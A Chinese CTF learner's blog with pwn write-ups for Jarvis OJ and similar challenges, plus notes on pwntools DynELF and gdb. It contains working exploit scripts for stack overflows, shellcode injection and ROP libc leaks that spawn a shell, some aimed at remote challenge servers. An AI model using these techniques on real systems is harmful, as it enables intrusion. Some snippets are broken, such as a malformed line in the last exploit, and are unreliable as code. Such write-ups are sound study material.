xfgg


  • Home

  • Tags

  • Categories

  • Archives

level1

Posted on 2019-07-31 | In jarvis OJ

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
xfgg@ubuntu:~/Documents$ file level1.80eacdcd51aca92af7749d96efad7fb5 
level1.80eacdcd51aca92af7749d96efad7fb5: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=7d479bd8046d018bbb3829ab97f6196c0238b344, not stripped
xfgg@ubuntu:~/Documents$ checksec level1.80eacdcd51aca92af7749d96efad7fb5
[*] '/home/xfgg/Documents/level1.80eacdcd51aca92af7749d96efad7fb5'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
什么保护都没开!!!

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}

0x02 思路分析

1
2
一开始以为是write函数无libc泄露
发现没有system做不下去了 没开保护 写入shellcode

exp

1
2
3
4
5
6
7
8
9
from pwn import * 
p=remote("pwn2.jarvisoj.com","9877")
shellcode_addr=p.recvuntil('?',drop=True)
shellcode_addr=int(shellcode_addr[12:],16)
pad=0x88
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(pad,'A')+"BBBB"+p32(shellcode_addr)
p.sendline(payload)
p.interactive();

tell me something

Posted on 2019-07-31 | In jarvis OJ

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
xfgg@ubuntu:~/Downloads$ file guestbook.d3d5869bd6fb04dd35b29c67426c0f05 
guestbook.d3d5869bd6fb04dd35b29c67426c0f05: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=7429502fc855237f3f8eeceb262ddcf6b2c2854e, not stripped

64位程序

xfgg@ubuntu:~/Downloads$ checksec guestbook.d3d5869bd6fb04dd35b29c67426c0f05
[*] '/home/xfgg/Downloads/guestbook.d3d5869bd6fb04dd35b29c67426c0f05'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

只开启nx保护

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+0h] [rbp-88h]

write(1, "Input your message:\n", 0x14uLL);
read(0, &v4, 0x100uLL);
return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}
有个read栈溢出漏洞

int good_game()
{
FILE *v0; // rbx
int result; // eax
char buf; // [rsp+Fh] [rbp-9h]

v0 = fopen("flag.txt", "r");
while ( 1 )
{
result = fgetc(v0);
buf = result;
if ( (_BYTE)result == -1 )
break;
write(1, &buf, 1uLL);
}
return result;
}

有个fopenflag 就很简单了 溢出返回就可以了

0x02 思路分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
查看main函数的栈
-0000000000000088 db ? ; undefined
-0000000000000087 db ? ; undefined
-0000000000000086 db ? ; undefined
-0000000000000085 db ? ; undefined
-0000000000000084 db ? ; undefined

0x88位就可以溢出

查看good_game的地址
.text:0000000000400620 push rbx
.text:0000000000400621 mov esi, offset modes ; "r"
.text:0000000000400626 mov edi, offset filename ; "flag.txt"
.text:000000000040062B sub rsp, 10h
.text:000000000040062F call _fopen
.text:0000000000400634 mov rbx, rax
.text:0000000000400637 jmp short loc_400654

0x400620为sys_addr

exp

1
2
3
4
5
6
7
学习使用zio库

import zio
payload = "A" * 0x88 + "\x20\x06\x40\x00\x00\x00\x00\x00"
p = zio.zio(("pwn.jarvisoj.com", 9876))
p.write(payload)
p.interact()

linux下pwn常用的命令

Posted on 2019-07-30 | In 理论知识

查看文件

持续更新的文章 因为一时半会总结不出来 用到多少写多少吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
这里用rop做例子
查看文件 32位文件
xfgg@ubuntu:~/Downloads$ file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=a6c3ab368d8cd315e3bb2b970556ed0510bca094, not stripped

查看文件保护机制
xfgg@ubuntu:~/Downloads$ file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=a6c3ab368d8cd315e3bb2b970556ed0510bca094, not stripped

分析文件调用了哪些系统调用
strace ./rop
execve("./rop", ["./rop"], 0x7ffe697d85e0 /* 55 vars */) = -1 ENOENT (No such file or directory)
fstat(2, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
write(2, "strace: exec: No such file or di"..., 40strace: exec: No such file or directory
) = 40
getpid() = 2180
exit_group(1) = ?
+++ exited with 1 +++
我这里出现问题,一直提示没有这个文件
因为在64位系统上运行32位文件
sudo apt-get install lib32stdc++6 即可
重新来一次

xfgg@ubuntu:~/Desktop$ strace ./rop
execve("./rop", ["./rop"], 0x7fff2dbf80f0 /* 51 vars */) = 0
strace: [ Process PID=2479 runs in 32 bit mode. ]
brk(NULL) = 0x8634000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7f58000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=80654, ...}) = 0
mmap2(NULL, 80654, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf7f44000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib32/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\220\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1926828, ...}) = 0
mmap2(NULL, 1935900, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf7d6b000
mprotect(0xf7f3d000, 4096, PROT_NONE) = 0
mmap2(0xf7f3e000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d2000) = 0xf7f3e000
mmap2(0xf7f41000, 10780, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf7f41000
close(3) = 0
set_thread_area({entry_number=-1, base_addr=0xf7f590c0, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
mprotect(0xf7f3e000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xf7f85000, 4096, PROT_READ) = 0
munmap(0xf7f44000, 80654) = 0
getegid32() = 1000
setresgid32(1000, 1000, 1000) = 0
read(0,
"\n", 256) = 1
write(1, "Hello, World\n", 13Hello, World
) = 13
exit_group(13) = ?
+++ exited with 13 +++
成功了 我还看不太懂这个 慢慢研究了

查看libc文件的位置和地址
xfgg@ubuntu:~/Desktop$ ldd rop
linux-gate.so.1 (0xf7fc1000)
libc.so.6 => /lib32/libc.so.6 (0xf7dcf000)
/lib/ld-linux.so.2 (0xf7fc3000)

提升文件的权限

xfgg@ubuntu:~/Desktop$ chmod 777 rop

gdb的运用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
root@ubuntu:/home/xfgg/Downloads# gdb rop
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from rop...(no debugging symbols found)...done.
(gdb)

开启文件
安装 peda
$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit

gdb-peda$ b main
Breakpoint 2 at 0x80484c9
gdb-peda$ start

[----------------------------------registers-----------------------------------]
EAX: 0xf7fb8dd8 --> 0xffffd16c --> 0xffffd344 ("CLUTTER_IM_MODULE=xim")
EBX: 0x0
ECX: 0x20fd0adc
EDX: 0xffffd0f4 --> 0x0
ESI: 0xf7fb7000 --> 0x1d4d6c
EDI: 0x0
EBP: 0xffffd0c8 --> 0x0
ESP: 0xffffd0c8 --> 0x0
EIP: 0x80484c9 (<main+3>: and esp,0xfffffff0)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80484c5 <be_nice_to_people+40>: ret
0x80484c6 <main>: push ebp
0x80484c7 <main+1>: mov ebp,esp
=> 0x80484c9 <main+3>: and esp,0xfffffff0
0x80484cc <main+6>: sub esp,0x10
0x80484cf <main+9>: call 0x804849d <be_nice_to_people>
0x80484d4 <main+14>: call 0x8048474 <vulnerable_function>
0x80484d9 <main+19>: mov DWORD PTR [esp+0x8],0xd
[------------------------------------stack-------------------------------------]
0000| 0xffffd0c8 --> 0x0
0004| 0xffffd0cc --> 0xf7dfae81 (<__libc_start_main+241>: add esp,0x10)
0008| 0xffffd0d0 --> 0x1
0012| 0xffffd0d4 --> 0xffffd164 --> 0xffffd32b ("/home/xfgg/Downloads/rop")
0016| 0xffffd0d8 --> 0xffffd16c --> 0xffffd344 ("CLUTTER_IM_MODULE=xim")
0020| 0xffffd0dc --> 0xffffd0f4 --> 0x0
0024| 0xffffd0e0 --> 0x1
0028| 0xffffd0e4 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x080484c9 in main ()
gdb-peda$


下断点运行

(gdb) disassemble main
Dump of assembler code for function main:
0x080484c6 <+0>: push %ebp
0x080484c7 <+1>: mov %esp,%ebp
=> 0x080484c9 <+3>: and $0xfffffff0,%esp
0x080484cc <+6>: sub $0x10,%esp
0x080484cf <+9>: call 0x804849d <be_nice_to_people>
0x080484d4 <+14>: call 0x8048474 <vulnerable_function>
0x080484d9 <+19>: movl $0xd,0x8(%esp)
0x080484e1 <+27>: movl $0x80485d0,0x4(%esp)
0x080484e9 <+35>: movl $0x1,(%esp)
0x080484f0 <+42>: call 0x80483a0 <write@plt>
0x080484f5 <+47>: leave
0x080484f6 <+48>: ret
End of assembler dump.
(gdb)

反汇编函数


padding强行爆破,实在不会找padding再用

gdb-peda$ pattern_create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
gdb-peda$ r
Starting program: /home/xfgg/Downloads/rop
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x99
EBX: 0x0
ECX: 0xffffcff0 ("'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'\n\205\004\b")
EDX: 0x100
ESI: 0xf7fb7000 --> 0x1d4d6c
EDI: 0x0
EBP: 0x5141416c ('lAAQ')
ESP: 0xffffd080 ("ARAAoAA'\n\205\004\b")
EIP: 0x416d4141 ('AAmA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x416d4141
[------------------------------------stack-------------------------------------]
0000| 0xffffd080 ("ARAAoAA'\n\205\004\b")
0004| 0xffffd084 ("oAA'\n\205\004\b")
0008| 0xffffd088 --> 0x804850a (<__libc_csu_init+10>: ret)
0012| 0xffffd08c --> 0x0
0016| 0xffffd090 --> 0xf7fb7000 --> 0x1d4d6c
0020| 0xffffd094 --> 0xf7fb7000 --> 0x1d4d6c
0024| 0xffffd098 --> 0x0
0028| 0xffffd09c --> 0xf7dfae81 (<__libc_start_main+241>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x416d4141 in ?? ()
gdb-peda$ pattern_offset 0x416d4141
1097679169 found at offset: 139

padding为139

ROP的运用

1
2


DynELF的应用

Posted on 2019-07-30 | In 理论知识

前言

原文:http://bobao.360.cn/learning/detail/3298.html

1
在没有目标系统libc文件的情况下,我们可以使用pwntools的DynELF模块来泄漏地址信息,从而获取到shell。本文针对linux下的puts和write,分别给出了实现DynELF关键函数leak的方法,并通过3道CTF题目介绍了这些方法的具体应用情况。

DynELF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块,其基本代码框架如下。

p = process('./xxx')


def leak(address):


#各种预处理


payload = "xxxxxxxx" + address + "xxxxxxxx"


p.send(payload)


#各种处理


data = p.recv(4)


log.debug("%#x => %s" % (address, (data or '').encode('hex')))


return data


d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块


systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址

需要使用者进行的工作主要集中在leak函数的具体实现上,上面的代码只是个模板。其中,address就是leak函数要泄漏信息的所在地址,而payload就是触发目标程序泄漏address处信息的攻击代码。

使用条件

1
2
3
4
5
6
不管有没有libc文件,要想获得目标系统的system函数地址,首先都要求目标二进制程序中存在一个能够泄漏目标系统内存中libc空间内信息的漏洞。同时,由于我们是在对方内存中不断搜索地址信息,故我们需要这样的信息泄露漏洞能够被反复调用。以下是大致归纳的主要使用条件:
1)目标程序存在可以泄露libc空间信息的漏洞,如read@got就指向libc地址空间内;

2)目标程序中存在的信息泄露漏洞能够反复触发,从而可以不断泄露libc地址空间内的信息。

当然,以上仅仅是实现利用的基本条件,不同的目标程序和运行环境都会有一些坑需要绕过。接下来,我们主要针对write和puts这两个普遍用来泄漏信息的函数在实际配合DynELF工作时可能遇到的问题,给出相应的解决方法。

write函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
write函数原型是write(fd, addr, len),即将addr作为起始地址,读取len字节的数据到文件流fd(0表示标准输入流stdin、1表示标准输出流stdout)。write函数的优点是可以读取任意长度的内存信息,即它的打印长度只受len参数控制,缺点是需要传递3个参数,特别是在x64环境下,可能会带来一些困扰。
在x64环境下,函数的参数是通过寄存器传递的,rdi对应第一个参数,rsi对应第二个参数,rdx对应第三个参数,往往凑不出类似“pop rdi; ret”、“pop rsi; ret”、“pop rdx; ret”等3个传参的gadget。此时,可以考虑使用__libc_csu_init函数的通用gadget,具体原理请参见文章。简单的说,就是通过__libc_csu_init函数的两段代码来实现3个参数的传递,这两段代码普遍存在于x64二进制程序中,只不过是间接地传递参数,而不像原来,是通过pop指令直接传递参数。

.text:000000000040075A pop rbx #需置为0,为配合第二段代码的call指令寻址


.text:000000000040075B pop rbp #需置为1


.text:000000000040075C pop r12 #需置为要调用的函数地址,注意是got地址而不是plt地址,因为第二段代码中是call指令


.text:000000000040075E pop r13 #write函数的第三个参数


.text:0000000000400760 pop r14 #write函数的第二个参数


.text:0000000000400762 pop r15 #write函数的第一个参数


.text:0000000000400764 retn

第二段代码如下

.text:0000000000400740 mov rdx, r13


.text:0000000000400743 mov rsi, r14


.text:0000000000400746 mov edi, r15d


.text:0000000000400749 call qword ptr [r12+rbx*8]

这两段代码运行后,会将栈顶指针移动56字节,我们在栈中布置56个字节即可。

这样,我们便解决了write函数在leak信息中存在的问题,具体的应用会放到后面的3道题目中讲。

puts函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“\x00”字符为止。也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含\x00截断符,输出就会终止,且会自动将“\n”追加到输出字符串的末尾,这是puts函数的缺点,而优点就是需要的参数少,只有1个,无论在x32还是x64环境下,都容易调用。
为了克服输入不受控这一缺点,我们考虑利用puts函数输出的字符串最后一位为“\n“这一特点,分两种情况来解决。

(1)puts输出完后就没有其他输出,在这种情况下的leak函数可以这么写。

def leak(address):


count = 0


data = ''


payload = xxx


p.send(payload)


print p.recvuntil('xxx\n') #一定要在puts前释放完输出


up = ""


while True:


#由于接收完标志字符串结束的回车符后,就没有其他输出了,故先等待1秒钟,如果确实接收不到了,就说明输出结束了


#以便与不是标志字符串结束的回车符(0x0A)混淆,这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串””


c = p.recv(numb=1, timeout=1)


count += 1


if up == '\n' and c == "": #接收到的上一个字符为回车符,而当前接收不到新字符,则


buf = buf[:-1] #删除puts函数输出的末尾回车符


buf += "\x00"


break


else:


buf += c


up = c


data = buf[:4] #取指定字节数


log.info("%#x => %s" % (address, (data or '').encode('hex')))


return data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
puts输出完后还有其他输出,在这种情况下的leak函数可以这么写。

def leak(address):


count = 0


data = ""


payload = xxx


p.send(payload)


print p.recvuntil("xxx\n")) #一定要在puts前释放完输出


up = ""


while True:


c = p.recv(1)


count += 1


if up == '\n' and c == "x": #一定要找到泄漏信息的字符串特征


data = buf[:-1]


data += "\x00"


break


else:


buf += c


up = c


data = buf[:4]


log.info("%#x => %s" % (address, (data or '').encode('hex')))


return data

其他需要注意的

1
在信息泄露过程中,由于循环制造溢出,故可能会导致栈结构发生不可预料的变化,可以尝试调用目标二进制程序的_start函数来重新开始程序以恢复栈

stack2

Posted on 2019-07-28 | In 攻防世界

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
xfgg@ubuntu:~/Downloads$ checksec stack2
[*] '/home/xfgg/Downloads/stack2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

可能要用到canary绕过
ida分析

1
限制了 输入的数量是99

1
2
3
4
5
这里就是bug了    因为我们没有检查v13数组的边界 这里我们可以随意输入  然后劫持程序eip  

然后观察 哪里有system_addr 就ok了 但是 这里输入的是数字 好像有点麻烦

因为v13 是char 类型的数组 然后我们试着输入一下

1
然后去栈会发现,这个操作可以用gdb一步步ni下去

1
2
3
4
5
6
7
8
9
这里其实应该能够注意得到  栈是小段模式  那么我们输入的时候 可以是 反着来  比如地址是 12345678  先输入78 45 34  12  

才能返回 正确的地址 然后 我们观察一下 哪里有我们system 的地址    

然后我们发现 本次(这个是会变化的  注意是我这次 运行的) 我们的返回地址FFCF77AC  而我们输入的地址是   FFCF7728  

那么偏移就是 0x84  然后之后我们找到 system_addr 就ok了  

然后就找到了  system_addr

1
2
3
 但是感觉这里/bin/bash 有点怪怪的啊~~~

先不管 我们试试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python
#coding:utf-8

from pwn import*






system_addr=0x080485AF
leave_offset=0x84


def write_addr(addr,va):
io.sendline("3")
io.recvuntil("which number to change:\n")
io.sendline(str(addr))
io.recvuntil("new number:\n")
io.sendline(str(va))
io.recvuntil("5. exit\n")

io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")


# write system_addr

write_addr(leave_offset,0XAF)
write_addr(leave_offset+1,0X85)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)



io.sendline("5")
io.interactive()
1
由于题目的问题所以需要我们自己写入sh

攻击

1
数组下标超界问题

###exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python
#coding:utf-8

from pwn import*

system_addr=0x080485AF
leave_offset=0x84
io = remote('111.198.29.45','47978')

def write_addr(addr,va):
io.sendline("3")
io.recvuntil("which number to change:\n")
io.sendline(str(addr))
io.recvuntil("new number:\n")
io.sendline(str(va))
io.recvuntil("5. exit\n")


io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")

# write system_addr 0x08048450

write_addr(leave_offset,0X50)
write_addr(leave_offset+1,0X84)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
# sh_addr 0x08048987
leave_offset+=8
print leave_offset
write_addr(leave_offset,0x87)
write_addr(leave_offset+1,0X89)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)

io.sendline("5")
io.interactive()

rop2

Posted on 2019-07-28 | In 百度学习

原文链接:https://blog.csdn.net/zszcr/article/details/79659071

DynELF模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
pwn题的无libc泄露用到的pwntools的DynELF模块

实现条件是:

有指向libc空间的 能泄露libc空间信息的函数 (write和puts函数)

能重复触发漏洞



DynELF模块的基本框架:

p=process('./xxx')

def leak(address):

    payload='xxx'+address+'xxx'  #address就是你要泄露的地址 ,payload是你控制程序泄露出address处的信息的攻击代码

    p.send(payload)

    leaked=p.recv(4)#接受的字节要看程序是32位还是64位来决定 ,32位接受4个字节的数据 而64位接受8个字节的数据

    print "[%s] ->[%s]=[%s]" % (hex(address),hex(u32(leaked)),repr(leaked))#输出泄露的信息

    return leaked



dynelf = DynELF(leak,elf=ELF('./xxx')) #初始化DynELF模块

system = dynelf.lookup('system','libc') 




你可以用DynELF模块搜索到system或者是execv函数在内存中地址 但是不能找到"/bin/sh"字符串

所以"/bin/sh"要自己写入 bss段 

因为我只做过write函数泄露的题 ,就先写怎么用write函数来实现 puts函数等以后做到了再补上

write函数原型是 write(1,address,len) #1表示标准输出流 ,address是write函数要输出信息的地址 ,而len表示输出长度

所以说我们要构造的payload一般是

x86

payload=junk+'fakeebp'+p32(write_plt)+p32(return_function)+p32(1)+p32(address)+p32(4)

amd64

payload=junk+"fakerbp"+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(address)+p64(pop_rdx)+p64(8)+p64(write_plt)+p64(return_address)

例子

1
XDCTF2015-pwn200

1
2
3
4
5
6
7
检查了下防护机制 发现开启了堆栈不可执行 所以不可以在栈上插入shellcode

同时在用ROPgadget搜索了下system函数和"/bin/sh" 发现找不到

简单运行下发 它输出了一句话 和让我输入一串字符串

用ida反汇编

1
2
3
4
5
可以发现write函数在plt和got都存在,同时还有read函数

我们就可以用write函数来泄露libc内存空间 ,借助DynELF模块来得到system函数的地址

向bss段写入"/bin/sh\x00"字符串 然后调用system函数就行了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

p=process('./xdctf15-pwn200')
elf=ELF('./xdctf15-pwn200')

write_plt=elf.symbols['write']
write_got=elf.got['write']
read_plt=elf.symbols['read']
bss=elf.bss()
start=0x080483D0
main=0x080484BE
def leak(address):
        payload='a'*(0x6c+4)+p32(write_plt)+p32(start)+p32(1)+p32(address)+p32(4)
        p.recvuntil("Welcome to XDCTF2015~!\n")
p.send(payload)
leaked=p.recv(4)
print "[%s] -> [%s] = [%s]" % (hex(address),hex(u32(leaked)),repr(leaked))
return leaked
d=DynELF(leak,elf=ELF('./xdctf15-pwn200'))
system=d.lookup('system','libc')


##use pppret  来保持栈平衡 :调用子程序时先保存堆栈信息(某些堆栈相关的寄存器),待子程序返回后将堆栈恢复到调用前的状态(堆栈用于保存局部变量、函数参数等重要信息),以保证程序能够继续正确运行

payload2='a'*(0x6c+4)+p32(read_plt)+p32(0x080485cd)+p32(0)+p32(bss)+p32(8)

payload2+=p32(system)+p32(0xdeadbeef)+p32(bss)

p.sendline(payload2)
p.send('/bin/sh\x00')

p.interactive()

rop

Posted on 2019-07-28 | In 百度学习

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
be_nice_to_people();
vulnerable_function();
return write(1, "Hello, World\n", 0xDu);
}

write函数可以写入system函数
ssize_t vulnerable_function()
{
char buf; // [esp+10h] [ebp-88h]

return read(0, &buf, 0x100u);
}
read函数可以溢出

0x02 思路分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
首先计算padding

write函数里面有个buf

+00000000 r db 4 dup(?)
+00000004 fd dd ?
+00000008 buf dd ?

占8个字节

read函数里面的buf

-00000088 buf db ?
-00000087 db ? ; undefined
-00000086 db ? ; undefined
-00000085 db ? ; undefined
-00000084 db ? ; undefined
........
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)

所以 padding为0x88+4+8

write函数地址

1
system地址

1
/bin/sh地址

1
2
3
4
5
6
7
8
main函数地址
同样方法从ida中获取main函数地址:0x80484c6

之所以需要main函数地址,是因为getshell的时候需要两次溢出。

第一次:获取write函数的真实地址,再减去偏移,得到libc地址。

第二次:计算出真实的system地址和bin_sh地址,进行getshell

0x03 攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
先泄露write函数真实地址,构造rop链为:

第一项:padding

第二项:write函数的plt地址

第三项(write函数参数1):数字1,write函数第一个参数

第四项(write函数参数2 输出的内容):write函数的got地址

第五项(write函数参数3 输出的长度):数字4,表示输出4个字节的地址

第六项: main函数的地址,为了让write函数输出结束后,再执行一遍main函数,进行第二波溢出。

from pwn import *
elf=ELF('/home/xfgg/Downloads/rop')
plt_write=elf.plt['write']
got_write=elf.got['write']

main_addr=0x80484c6
payload1='a'*140+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)+p32(main_addr)
p=process('/home/xfgg/Downloads/rop')
p.sendline(payload1)

write_real=u32(p.recv())

得到write函数的真实地址后,开始计算Libc地址和system函数地址:

libc地址 = write函数真实地址 - write函数的offset

(write函数的offset用/bin/sh的方法,偏移是:0xd43c0)

system真实地址 = libc地址 + system函数offset

bin_sh真实地址  = libc地址 + /bin/sh偏移地址offset

write_offset = 0xd43c0
libc_addr = write_real - write_offset
system_addr = libc_addr + 0x3a940
binsh_addr = libc_addr + 0x15902b

第一项:140长度的padding
第二项:system函数真实地址
第三项:/bin/sh的真实地址

payload2='a'*140+p32(system_addr) + p32(main_addr) + p32(binsh_addr)

p.sendline(payload2)
p.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
elf=ELF('/home/xfgg/Desktop/rop')
p=process('/home/xfgg/Desktop/rop')
plt_write=elf.plt['write']
got_write=elf.got['write']

main_addr=0x80484c6
payload1='a'*140+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)+p32(main_addr)
p.sendline(payload1)

write_real=u64(p.recv()8[)
write_offset = 0xd43c0
libc_addr = write_real - write_offset
system_addr = libc_addr + 0x3a940
binsh_addr = libc_addr + 0x15902b

